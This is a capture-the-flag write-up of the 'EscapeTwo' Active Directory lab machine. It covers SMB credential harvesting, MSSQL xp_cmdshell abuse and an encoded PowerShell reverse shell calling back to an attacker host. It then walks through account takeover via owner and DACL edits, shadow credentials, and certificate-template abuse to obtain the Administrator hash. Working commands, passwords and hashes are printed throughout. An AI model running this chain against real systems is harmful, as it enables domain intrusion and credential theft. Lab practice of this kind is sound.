EscapeTwo


Summary

This Active Directory based machine exposes a samba share, which can access with the given credentials. In one of the shares, we can find a spreadsheet with other accounts, one of which we can use to log into the MSSQL service with high privileges. Using this account, we can use xp_cmdshell to gain a foothold into the system. Looking through the files of the same service, we can find a clear text password, which we can reuse to remotely log into the machine via a regular user account.

By enumerating the AD domain controller with Bloodhound, we discover several interesting relations. We use the compromised user’s ability to override the ownership of another account, which can is allowed to manipulate permission domain certificates of the domain controller. By granting us elevated access, we can request credentials of the Administrator and use those, to log into the system.

Solution

Reconnaissance

Nmap reveals several open ports:

nmap -sC -sV 10.10.11.51 -Pn -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 11:08 CET
Nmap scan report for 10.10.11.51
Host is up (0.053s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-11 10:08:28Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-10T14:34:30
|_Not valid after:  2055-02-10T14:34:30
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-02-11T10:09:50+00:00; +1s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-02-11T10:09:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.76 seconds

Many of these ports already imply, that this machine is part of an Active Directory. This machine comes with a user account we can use: rose:KxEPkKe6R8su. However, this account is restricted as we can’t get a shell on the system via Evil-WinRM.

The network scan also discovered the domain of this machine, and of the Domain Controller. Let’s add both to our host file: 10.10.11.51 sequel.htb DC01.sequel.htb

The web service on port 5985 seems to be empty. DNS and directory enumeration doesn’t yield any interesting domains or resources for us to look at. Instead, let’s take a look at the open samba shares with our credentials using SMBclient.

smbclient -L //sequel.htb/ -U rose                  
Password for [WORKGROUP\rose]:

        Sharename       Type      Comment
        ---------       ----      -------
        Accounting Department Disk      
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to sequel.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

There are two shares we can access: Users and Accounting Department. If we log into the User share, we have access to a desktop, likely the one of the logged-in user. However, there are no useful files for us. In contrast, the Accounting Department share contains two .xlsx files we can download.

smbclient //sequel.htb/Accounting\ Department -U rose 
Password for [WORKGROUP\rose]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun  9 12:52:21 2024
  ..                                  D        0  Sun Jun  9 12:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 12:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 12:52:07 2024

                6367231 blocks of size 4096. 900192 blocks available
smb: \> get accounts.xlsx
getting file \accounts.xlsx of size 6780 as accounts.xlsx (25.8 KiloBytes/sec) (average 25.8 KiloBytes/sec)
smb: \> get accounting_2024.xlsx
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (42.5 KiloBytes/sec) (average 33.7 KiloBytes/sec)
smb: \> exit

User Flag

I can’t manage two open either of these files in their original format, as they seem to be damaged. But that does not matter, since .xlsx is just a fancy wrapped for XML, so let’s unpack the archive and dig into the worksheets. Since a raw and unfactored XML file is hard to read, we can load this file into VS Code, and refactor the file with any XML plugin for our own comfort. While accounting_2024.xlsx is empty, accounts.xlsx contains some accounts and their passwords in sharedStrings.xml.

angela:0fwz7Q4mSpurIt99
oscar:86LxLBMgEWaKUnBG
kevin:Md9Wlq1E5bZnVDVo
sa:MSSQLP@ssw0rd!

Sadly, Evil-WinRM does not work for any of these accounts. Still we can try to log into the MSSQL service, which is also running. For this, the sa account is especially interesting.

impacket-mssqlclient sa@sequel.htb

This account is allowed to enable xp_cmdshell, which we do. Now we can run commands on the system.

SQL (sa  dbo@master)> enable_xp_cmdshell
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
[*] INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

After trying some standard commands, we get not visual feedback to these commands. We can still confirm that our command actually work, by issuing a command that takes some time to complete, such as ping to an unreachable destination. After confirming this, we can spawn a reverse shell. The simplest way is to craft a PowerShell based payload, which is encoded to not interfere with any syntax of the database commands.

SQL (sa  dbo@master)> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AOQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=

When we start a Netcat listener and execute the payload, we get a callback, and a shell as sql_svc.

Pasted image 20250211144307.png

Before we enumerate the system, let’s enumerate the users to which we might be able to pivot. The \users directory contains a directory for ryan, so this is likely the pivot account. Passwords we already found do not work for this account, we need to find something else.

PS C:\users> ls
    Directory: C:\users
    
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----       12/25/2024   3:10 AM                Administrator                                                         
d-r---         6/9/2024   4:11 AM                Public                                                                
d-----        2/10/2025  12:47 PM                ryan                                                                  
d-----        2/11/2025   3:40 AM                sql_svc  

When we dig into the files of the MSSQL database service we just exploited, we can find a configuration file sql-Configuration.INI. In it, we can find the credentials for the account we already compromised, but to which we didn’t have the password SEQUEL\sql_svc:WqSZAF6CysDQbGb3

PS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

If we now try to use this password for the account ryan by using Evil-WinRM, we get a session and can claim the user flag on his desktop.

Pasted image 20250211145742.png

ed2316de35c3150a1649c194bf1ec1e8

Root Flag

One of the easiest ways to enumerate permissions in Active Directory, is the use of Bloodhound, as it maps all relations of the permission network. It can give us a clear path from our already compromised account to any other target.

To use Bloodhound, we need to start a neo4j session, and setup the database via the web view.

sudo neo4j start
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
Started neo4j (pid:184083). It is available at http://localhost:7474
There may be a short delay until the server is ready.

Once this is done, and we logged into Bloodhound, we need to collect information about this active directory from the domain controller, using ryan’s credentials with Bloodhound-python.

bloodhound-python  -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 -ns 10.10.11.51 -c all

This will produce a handful of .json files, which we can load into Bloodhound via drag and drop. Now, we can let the application generate a graph of user permissions.

Pasted image 20250211154859.png

When we dig through the graph starting at ryan, we can see that the user ryan has owner permissions for sa_svc. Bloodhound tells us, that this means we can set ryan as the owner and grant full control of this account. We can then acquire the hash of sa_svc and get access. Let’s start there.

Using Owneredit, we set ryan as the owner of ca_svc.

owneredit.py -action write -new-owner ryan -target "ca_svc" sequel.htb/ryan:WqSZAF6CysDQbGb3

[*] Current owner information below
[*] - SID: S-1-5-21-548670397-972687484-3496335370-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=sequel,DC=htb
[*] OwnerSid modified successfully!

We follow this up by editing dacl with Dacledit, giving us full control of ca_svc.

dacledit.py -action "write" -rights "FullControl" -principal "ryan" -target "ca_svc" sequel.htb/ryan:WqSZAF6CysDQbGb3

[*] DACL backed up to dacledit-20250211-180208.bak
[*] DACL modified successfully!

Lastly, we can acquire shadow credentials and the hash for this account, with which we can use ca_svc.

certipy-ad shadow auto -u "ryan@sequel.htb" -p "WqSZAF6CysDQbGb3" -account "ca_svc" -dc-ip 10.10.11.51

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '235be5ce-c310-f119-94b1-2e4ba84f9324'
[*] Adding Key Credential with device ID '235be5ce-c310-f119-94b1-2e4ba84f9324' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '235be5ce-c310-f119-94b1-2e4ba84f9324' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce

Bloodhound tells us, that ca_svc is part of the Cert Publishers group. Essentially, we can overwrite certain certificates, which contain domain permissions. This means, we can overwrite such a certificate and give us further access. We can then request the certificate of the administrator. Using this we can acquire the Kerberos hash for the administrator account and use it for logging in.

Let’s first identify, which certificate we can overwrite. For this, we can use a utility such as:

Certify find /domain:sequel.htb`

After executing this on the remote system, it discloses the template name DunderMifflinAuthentication, which we can manipulate. For this, we can use Tools.d/Certipy-ad with the credentials we gathered for ca_svc.

KRB5CCNAME=/home/kali/htb/machines/escapetwo/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.10.11.51 -target dc01.sequel.htb


[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Successfully updated 'DunderMifflinAuthentication'

Now we finally have permission to acquire the certificate of the Administrator account. By supplying the substituted template and the NT hash of ca_svc, we get the certificate and private key.

certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with multiple identifications
    UPN: 'administrator@sequel.htb'
    DNS Host Name: '10.10.11.51'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_10.pfx'

Using this certificate, we can authenticate to the domain controller as adminstrator and obtain the hash for authentication to the machine.

certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certificate
[*] Please select one:
    [0] UPN: 'administrator@sequel.htb'
    [1] DNS Host Name: '10.10.11.51'
> 0
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Since we adminstrator has permission to remotely log into the system, we can use Evil-WinRM once again and gain a shell. We can then collect the root flag.

Pasted image 20250211183838.png

c872c15e96018d93b0f4e0cf4eb2a151